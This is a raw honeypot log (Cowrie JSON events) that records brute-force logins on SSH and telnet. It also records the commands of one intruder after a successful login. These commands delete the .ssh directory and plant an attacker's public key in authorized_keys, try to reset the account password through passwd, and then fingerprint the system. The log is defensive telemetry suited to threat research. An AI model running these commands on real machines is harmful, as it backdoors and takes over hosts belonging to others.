{"eventid":"cowrie.session.closed","duration":31.066734552383423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:29.794137Z","src_ip":"104.245.105.2","session":"c5b3dd5bfdaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45180,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f11573dee9a","protocol":"telnet","message":"New connection: 104.245.105.2:45180 (10.17.0.5:23) [session: 2f11573dee9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:41.999714Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":37250,"dst_ip":"10.17.0.5","dst_port":22,"session":"0386a6419222","protocol":"ssh","message":"New connection: 88.205.172.170:37250 (10.17.0.5:22) [session: 0386a6419222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:48.677466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:48.682538Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:48.847809Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin.2023","message":"login attempt [admin/admin.2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:49.537187Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:50.120767Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:50.124402Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:50.129055Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:50.297818Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:50.861704Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:50.865381Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:51.035498Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:51.039671Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":57834,"dst_ip":"10.17.0.5","dst_port":22,"session":"06525fb46dd7","protocol":"ssh","message":"New connection: 88.205.172.170:57834 (10.17.0.5:22) [session: 06525fb46dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:51.203835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:51.209377Z","src_ip":"88.205.172.170","session":"06525fb46dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:51.377733Z","src_ip":"88.205.172.170","session":"06525fb46dd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:52.084738Z","src_ip":"88.205.172.170","session":"06525fb46dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:53.255935Z","src_ip":"88.205.172.170","session":"06525fb46dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":57844,"dst_ip":"10.17.0.5","dst_port":22,"session":"8406fa0cea72","protocol":"ssh","message":"New connection: 88.205.172.170:57844 (10.17.0.5:22) [session: 8406fa0cea72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:53.410050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:53.414787Z","src_ip":"88.205.172.170","session":"8406fa0cea72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:53.579702Z","src_ip":"88.205.172.170","session":"8406fa0cea72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:54.255655Z","src_ip":"88.205.172.170","session":"8406fa0cea72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:55.420248Z","src_ip":"88.205.172.170","session":"8406fa0cea72","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:55.637719Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:55.641287Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:55.810103Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:56.183659Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin.2023\\nLhfcbH77dxY5\\nLhfcbH77dxY5\"|passwd|bash","message":"CMD: echo -e \"admin.2023\\nLhfcbH77dxY5\\nLhfcbH77dxY5\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:56.187237Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:56.191056Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:56.195064Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d01c6e6fd486aac8a1480635ec89b3d8a993a7d76a2e3a340353f96817d3820d","size":32,"shasum":"d01c6e6fd486aac8a1480635ec89b3d8a993a7d76a2e3a340353f96817d3820d","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/d01c6e6fd486aac8a1480635ec89b3d8a993a7d76a2e3a340353f96817d3820d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:56.366205Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:56.741038Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin.2023\\nLhfcbH77dxY5\\nLhfcbH77dxY5\\n\"|passwd","message":"CMD: echo \"admin.2023\\nLhfcbH77dxY5\\nLhfcbH77dxY5\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:56.744529Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a258d9a7a5321c18b4a33ab39688a9ea4bf954cf57d2cb023fb5349772ae5c7e","size":25,"shasum":"a258d9a7a5321c18b4a33ab39688a9ea4bf954cf57d2cb023fb5349772ae5c7e","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a258d9a7a5321c18b4a33ab39688a9ea4bf954cf57d2cb023fb5349772ae5c7e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:56.912744Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:57.335940Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:57.340381Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:57.510682Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:57.539440Z","src_ip":"14.103.127.243","session":"60b2db4078c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:57.893839Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:57.897546Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:58.066255Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:58.677181Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:58.680942Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:58.684427Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:58.855540Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:59.223784Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:59.226700Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:59.393508Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:00.007925Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:00.011586Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:00.181080Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:00.559093Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:00.563139Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:00.734134Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
